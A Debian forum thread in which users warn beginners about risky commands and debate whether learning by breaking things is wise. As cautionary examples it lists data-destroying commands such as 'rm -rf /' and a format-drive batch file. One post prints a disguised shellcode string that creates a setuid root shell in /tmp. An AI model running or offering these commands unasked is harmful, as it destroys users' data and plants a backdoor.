Scheduled Maintenance: We are aware of an issue with Google, AOL, and Yahoo services as email providers which are blocking new registrations. We are trying to fix the issue and we have several internal and external support tickets in process to resolve the issue. Please see: viewtopic.php?t=158230

 

 

 

10 commands that beginners need to understand before using

New to Debian (Or Linux in general)? Ask your questions here!
Message
Author
User avatar
GarryRicketson
Posts: 5644
Joined: 2015-01-20 22:16
Location: Durango, Mexico

10 commands that beginners need to understand before using

#1 Post by GarryRicketson »

In another topic, that got locked before I could reply, and with good reason,...
Anyway, this is something any user should know, before using the:

Code: Select all

 rm -rf 

https://www.tecmint.com/10-most-dangero ... -on-linux/
1. rm -rf Command

The rm -rf command is one of the fastest way to delete a folder and its contents. But a little typo or ignorance may result into unrecoverable system damage. The some of options used with rm command are.

rm command in Linux is used to delete files.
rm -r command deletes the folder recursively, even the empty folder.
rm -f command removes ‘Read only File’ without asking.
rm -rf / : Force deletion of everything in root directory.
rm -rf * : Force deletion of everything in current directory/working directory.
rm -rf . : Force deletion of current folder and sub folders.

Hence, be careful when you are executing rm -rf command. To overcome accidental delete of file by ‘rm‘ command, create an alias of ‘rm‘ command as ‘rm -i‘ in “.bashrc” file, it will ask you to confirm every deletion
And, don't start calling people names, it will result in the topic getting locked,
also many will just start ignoring you.
Forum guidelines. Please read before first post!
Summary
The following might get your post EDITED:
- Profanities
- Links to inappropriate websites

The following might get your post/ thread LOCKED
- Flaming/ personal attacks
- Obvious trolling
- Thread has wandered way off topic
- Cross posting

The following might get your post REMOVED
- Advertising/ Spamming
Last edited by GarryRicketson on 2018-01-27 13:53, edited 1 time in total.

User avatar
Head_on_a_Stick
Posts: 14114
Joined: 2014-06-01 17:46
Location: London, England
Has thanked: 81 times
Been thanked: 132 times

Re: 10 commands that beginners should not use

#2 Post by Head_on_a_Stick »

Another command not mentioned in the list but also not suitable for beginners to the Debian packaging ecosystem:

Code: Select all

# add-apt-repository $whatever
https://wiki.debian.org/DontBreakDebian

:roll:

Also:

Code: Select all

./configure
make
# make install
Is resorted to far too readily by n00bs, IMO.

(See also http://forums.debian.net/viewtopic.php?t=38976)

EDIT: clarified.
deadbang

User avatar
NFT5
df -h | grep > 20TiB
df -h | grep > 20TiB
Posts: 597
Joined: 2014-10-10 11:38
Location: Canberra, Australia
Has thanked: 10 times
Been thanked: 43 times

Re: 10 commands that beginners should not use

#3 Post by NFT5 »

2. wget..........debian?

User avatar
debiman
Posts: 3063
Joined: 2013-03-12 07:18

Re: 10 commands that beginners should not use

#4 Post by debiman »

9. sudo + (a lot of things)
e.g.:

Code: Select all

sudo startx

Randicus
Posts: 2663
Joined: 2011-05-08 09:11

Re: 10 commands that beginners should not use

#5 Post by Randicus »

GarryRicketson wrote:In another topic, that got locked before I could reply, and with good reason,...
Anyway, this is something any user should know, before using the:

Code: Select all

 rm -rf 

https://www.tecmint.com/10-most-dangero ... -on-linux/
I suggest posting the contents of the rm man page, instead of that horribly written extract. The English mistakes give me the willies and I cannot take anyone seriously who uses Windows terminology on a Linux or BSD site. (Yes, I am too sensitive about terminology, but that is me. :D )

A good resource to refer people to for basic command line knowledge is "The Book" on the Slackware site. It is what I learned from.
http://www.slackbook.org/

User avatar
VentGrey
Posts: 171
Joined: 2016-04-26 23:57
Location: Guanajuato México

Re: 10 commands that beginners should not use

#6 Post by VentGrey »

The popular "Let me make your computer quick using hex"
(A disguised rm -rf /)

Code: Select all

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
I would exchange everything I know in exchange for half of what I don't.

Wheelerof4te
Posts: 1454
Joined: 2015-08-30 20:14

Re: 10 commands that beginners should not use

#7 Post by Wheelerof4te »

Newbies should also avoid using

Code: Select all

dd
command for writing images to USB. Always use GUI programs, on GNOME that would be GNOME Multi Writer.

Segfault
Posts: 993
Joined: 2005-09-24 12:24
Has thanked: 5 times
Been thanked: 17 times

Re: 10 commands that beginners should not use

#8 Post by Segfault »

After using

Code: Select all

rm -rf /
one is not beginner any more. Because experience is something you get just after you needed it.

Argus
Posts: 20
Joined: 2017-12-03 01:19

Re: 10 commands that beginners should not use

#9 Post by Argus »

I have to disagree with most of these. Part of learning / becoming a more knowledgeable and proficient user is doing all of these things, and many other things considered potentially dangerous. I've never broken anything in a way that I couldn't fix, though, and I'm always aware of the potential consequences and don't do anything that I don't accept outcome of said potential consequences.

I frequently do rather crazy things with non-vital systems such as my raspberry pis and virtual machines too, as a learning experiece. I've broken most of the debian 'best practices', either in cases where I know what I'm doing, or simply dont care about screwing up a system and want to see what happens :)

I've learned a ton this way, and I've become fairly proficient with linux in a very short time, having used it for only 8 or so months now. As a result of fearlessly breaking and fixing things when I know and accept the risks, I've gained valuable knowledge and experience how not to break things, or fi them even when they do break.

User avatar
bw123
Posts: 4015
Joined: 2011-05-09 06:02
Has thanked: 1 time
Been thanked: 28 times

Re: 10 commands that beginners should not use

#10 Post by bw123 »

Argus wrote:
Part of learning / becoming a more knowledgeable and proficient user is doing all of these things...
It depends which way you want to look at it:

"Experience is the best teacher."

"Any fool can learn from his own mistakes, but the truly wise learn from the mistakes made by others."
resigned by AI ChatGPT

User avatar
GarryRicketson
Posts: 5644
Joined: 2015-01-20 22:16
Location: Durango, Mexico

Re: 10 commands that beginners should not use

#11 Post by GarryRicketson »

I forgot all about this thread, .............
Beginners should learn to use the : 'man' command.

Code: Select all

man man 
To get started.
Yes experience is maybe the best teacher, that is why it is good to listen and
read what people with experience write or say. The developers that write the manuals, in most cases have first hand experience.
Always use GUI programs
is absurd, and how does one learn anything about administering a system if they limit there selves to only using a
GUI ?
First things first, don't run any command, until after reading the manual about that command. If the manual is not clear enough, then some searches or even asking experienced users, as well.
GUI's are terrible, and maybe the most dangerous thing for a beginner to use.
Besides that, if one wants to learn to administer a Unix server, or Unix like server, they need to understand and know how to use the command line.
I would have titled the topic. "10 commands that beginners should not use, until the read the manual and understand how to use the commands" or something like that, but it would not have fit in the subject line any way.

A real life, true example, funny in some ways, but it goes to show how dangerous the GUI's really are: http://forums.debian.net/viewtopic.php?f=3&t=134240
===========================
Image
This guy, really did climb onto the keyboard, and then while standing on the keyboard, he also grabbed the mouse with his beak, he managed to highlight/select all the files in a directory, and when he grabbed the mouse with his beak, and moved it , selected "delete", and "clicked" again, and the files were deleted. Fortunately I had back up copies of my /home/garry/ directory, and nothing was lost,..
It would have not happened , if it had just been the terminal, and he had to type in the command:

Code: Select all

rm *.*

Code: Select all

man rm
RM(1) General Commands Manual RM(1)

NAME
rm - remove directory entries

SYNOPSIS
rm [-dfiPRrv] file ...

DESCRIPTION
The rm utility attempts to remove the non-directory type files specified
on the command line. If the permissions of the file do not permit
writing, and the standard input device is a terminal, the user is
prompted (on the standard error output) for confirmation.

The options are as follows:---------snip------
Any way, the point is, it is much less likely a parrot or "beginner" would be
able to type in the complete command, and then press the enter key, compared with the GUI, where a completely clueless parrot, or 3 year old child, or beginner, can easily <select>, "click", and "clicky", this or that silly icon, click again, and it happens to be the "yes" button or silly icon, ...GUI's are far more dangerous then the command line. That is why beginners should NEVER,
NEVER, NEVER perform tasks that require root privileges using a GUI.
The 'dd' command is the most dependable command for various tasks, not just writing to USB, (usb stick or device), Any beginner should learn how to properly use the command, it is very use full and much more reliable then any GUI that I know of.

Code: Select all

man dd
DD(1) General Commands Manual DD(1)

NAME
dd - convert and copy a file

SYNOPSIS
dd [operand ...]

DESCRIPTION
The dd utility copies the standard input to the standard output, applying
any specified conversions. Input data is read and written in 512-byte
blocks. If input reads are short, input from multiple reads are
aggregated to form the output block. When finished, dd displays the
number of complete and partial input and output blocks and truncated
input records to the standard error output.

The following operands are available:----snip---
Some examples:
Clone a HD

Code: Select all

dd if=/dev/sda of=/dev/sdb 
Back up a partition:

Code: Select all

dd if =/dev/sda2 of=~/hdadisk.img 
Imagine, how many beginners find their selves helpless, and lost, because they did not make a back up, and they messed everything up while using the GUI, ? The forum is full of examples of this, if they had just learned to use the 'dd' command, and made a backup, they then could also use the same 'dd' command to restore the data they lost.

Code: Select all

dd if=hdadisk.img of=/dev/sdb3
Those are just a few, basic things that can be done with the 'dd' command, obviously a beginner should start out with simple uses, and when they learn more they can get into more advanced tasks,...
Any way, I am bored with this now,.... bye!
Image

User avatar
None1975
df -h | participant
df -h | participant
Posts: 1389
Joined: 2015-11-29 18:23
Location: Russia, Kaliningrad
Has thanked: 45 times
Been thanked: 66 times

Re: 10 commands that beginners should not use

#12 Post by None1975 »

GarryRicketson, parrots-intelligent birds. Have a great memory. Apparently he was watching the master's actions and repeating them :D
OS: Debian 12.4 Bookworm / DE: Enlightenment
Debian Wiki | DontBreakDebian, My config files on github

User avatar
Head_on_a_Stick
Posts: 14114
Joined: 2014-06-01 17:46
Location: London, England
Has thanked: 81 times
Been thanked: 132 times

Re: 10 commands that beginners should not use

#13 Post by Head_on_a_Stick »

^^ :lol:
GarryRicketson wrote:Beginners should learn to use the : 'man' command.

Code: Select all

man man 
To get started.
I would also recommend

Code: Select all

man 1 intro
EDIT: oooh, palindromic post count :D

I may not post for a while, it would be a shame to ruin the symmetry :mrgreen:
deadbang

User avatar
debiman
Posts: 3063
Joined: 2013-03-12 07:18

Re: 10 commands that beginners should not use

#14 Post by debiman »

Argus wrote:I have to disagree with most of these. Part of learning / becoming a more knowledgeable and proficient user is doing all of these things, etc. etc.
that's like saying the best way to learn to drive a car is to wreck a few cars first.
which i have to disagree with.

oh, i did break my share of installs, and of course i learned from it, but i am also intelligent enough to listen to advice, and have learned as much from it.
i'm not a teenager anymore :D

this:
bw123 wrote:"Any fool can learn from his own mistakes, but the truly wise learn from the mistakes made by others."

Argus
Posts: 20
Joined: 2017-12-03 01:19

Re: 10 commands that beginners should not use

#15 Post by Argus »

> bw123, debiman

I'm not saying that new users should trash their systems recklessly. However, many things considered dangerous for new users are in fact powerful and necessary tools that I use on a regular basis. It's just a matter of:
1) knowing the potential consequences of what you're doing
2) being careful that you actually know what directory you're in and what that command you just typed does before you press enter.
Those aren't terribly difficult things to do, they just require a certain level of discernment. My rule of thumb is that I don't enter any commands which I don't understand, and I double check my location and file paths whenever I'm using any potentially dangerous command that can overwrite or delete data. I think this is a good rule of thumb that anyone can use regardless of experience. However, I started with the terminal when I got into Linux earlier this year: bash was the reason I got into Linux. And from day 1, I was using commands like "rm * -r" and never deleted anything that I didn't intend to, simply because I knew to be extra careful, pause, and double check everything before I press enter.

The reverse is basically arguing, using your anology, that we should only study how to drive, but never actually drive, because one *might* wreck. And/or we shouldn't do experiments in controlled situations to see how, say, a car actually behaves in a collision.


> GaryRicketson

YES! This is very true: GUI programs can be far more dangerous than the CLI, because you have no idea what they're doing behind the scenes or how to undo it if you need to.
You reminded me that I actually did screw up a system beyond my ability to repair at the time, once: 3 days after my first install of Ubuntu, I discovered dconf editor and attempted to disable auto logging in my login manager. The trouble was, I didn't know what a login manager was, or what X was, and wound up disabling X at start up. Was left with just a TTY and had no idea that I could just type "startx" to get back to my desktop. I tried reinstalling ubuntu-desktop and all kinds of things, and nothing worked.

Since then, I *always* use the terminal to edit config files -- that way I know what I edited where and how, and it's even in my bash history if I scroll up! I've never screwed up anything beyond repair since, because I always know what I edited where and can just change it back if I need to (and I'll create a backup file if I do any complicated edits before hand).

User avatar
bw123
Posts: 4015
Joined: 2011-05-09 06:02
Has thanked: 1 time
Been thanked: 28 times

Re: 10 commands that beginners should not use

#16 Post by bw123 »

Argus wrote:
It's just a matter of:
1) knowing the potential consequences of what you're doing
2) being careful that you actually know what directory you're in and what that command you just typed does before you press enter.
Yeah, I actually agree the Topic Title is not good. It should be "10 commands that beginners should not MISuse" but the whole tech world wants to keep people ignorant, don't they?

Just click the spinng advertisement and watch the pretty girl while we hypnotrize yer brains out... terminal is evil, terminal is black, terminal have no advertisemnet.

I was just saying there are at least two ways of looking at it. Practical experience is best up to a point, but academic learning is invaluable, because you can't be a self-taught expert at everything. Combining the two types of learning makes sense.
resigned by AI ChatGPT

User avatar
Thorny
Posts: 542
Joined: 2011-02-27 13:40

Re: 10 commands that beginners should not use

#17 Post by Thorny »

bw123 wrote:..." but the whole tech world wants to keep people ignorant, don't they?
This is true today but it hasn't always been that way, at least with non-commercial GNU/Linux systems. When I started with GNU/Linux, experienced users wouldn't help you until you asked smart questions showing that you had learned enough to do that. That's where the whole idea of RTFM came from, "F" did not mean "Fine" and was the only answer you got until you had. Spoon feeding answers just didn't happen.

@Argus You sound like an intelligent person who approaches things sanely but surely you have read enough posts in various places to know the world is not totally populated with intelligent people.

User avatar
GarryRicketson
Posts: 5644
Joined: 2015-01-20 22:16
Location: Durango, Mexico

10 commands that beginners need to understand before using

#18 Post by GarryRicketson »

Changed the title
by Argus » > GaryRicketson

YES! This is very true: GUI programs can be far more dangerous-----snip--
Gparted,... I have messed up drives and rendered them un bootable, with Gparted,.. of course the 'fdisk' command can do the same, ...any way ,
have to go, I just wanted to change the title now.

User avatar
bw123
Posts: 4015
Joined: 2011-05-09 06:02
Has thanked: 1 time
Been thanked: 28 times

Re: 10 commands that beginners should not use

#19 Post by bw123 »

Thorny wrote: When I started with GNU/Linux, experienced users wouldn't help you until you asked smart questions showing that you had learned enough to do that. That's where the whole idea of RTFM came from,
I've been told to RTFD or RTFM many times, and never really considered it offensive. But at one time, I actually had actual paper printed documentation on just about every hardware or software I used.

My first compiler came in a box that weighs about 50 lbs, I think there are 15-20 nice manuals in there. Motherboards and other peripherals used to have pretty decent documentation. I think as more and more proprietary hardware/software is being produced, the documentation is getting just plain scarce. They gave up paper for a pdf on a CD, now all you get is a website.

Even on linux now, I notice most of /usr/share/doc is just changelogs. Many times documentation for browsers is only online now, and it is often very poor IMO. There is an overabundance of bad documentation and out-of-date documentation on the internet. So I sympathize in a way when people are confused, or get lazy about it.
Last edited by bw123 on 2018-01-27 14:35, edited 1 time in total.
resigned by AI ChatGPT

User avatar
GarryRicketson
Posts: 5644
Joined: 2015-01-20 22:16
Location: Durango, Mexico

Re: 10 commands that beginners need to understand before usi

#20 Post by GarryRicketson »

But, also don't get me wrong, I do use some GUI programs, they are great
and can make some tasks much easier, faster. But to tell a beginner to not use the terminal, that is not good advise, it is important to learn how to use the command line, and the only way I know of to do that is start using it.
When I started using a PC, we did not have any GUI's, it was command line only,... logically the first things I started working on were to use batch files, and create menus , that had the various options I used the most, that was still limited, so I started learning about qbasic, and found I could make better menus, and they could have options to run various programs, etc,...
But any way, I guess that actually is another topic.
But a good example, of course I read , what the 'format' command does,..
so silly me, I make a batch file :
So using 'copy con' :

Code: Select all

$copy con testformat.bat
named it "testformat.bat"

Code: Select all

format c: / s
yes
Then, when I looked at the directory:

Code: Select all

$ dir ( equivlant to 'ls')
--various files and directories
testformat.bat 
So I typed in , at the prompt 'testformat' and hit enter,... it worked, much to my dismay, it was so fast I did not have a chance to abort, since I had included the
'yes' option (command),.... everything I had learned and done, gone in just a few seconds,... that was also the same time I learned, to make a back up first, before trying a experiment,...or at least just use a floppy in drive A: instead of the main drive,

Post Reply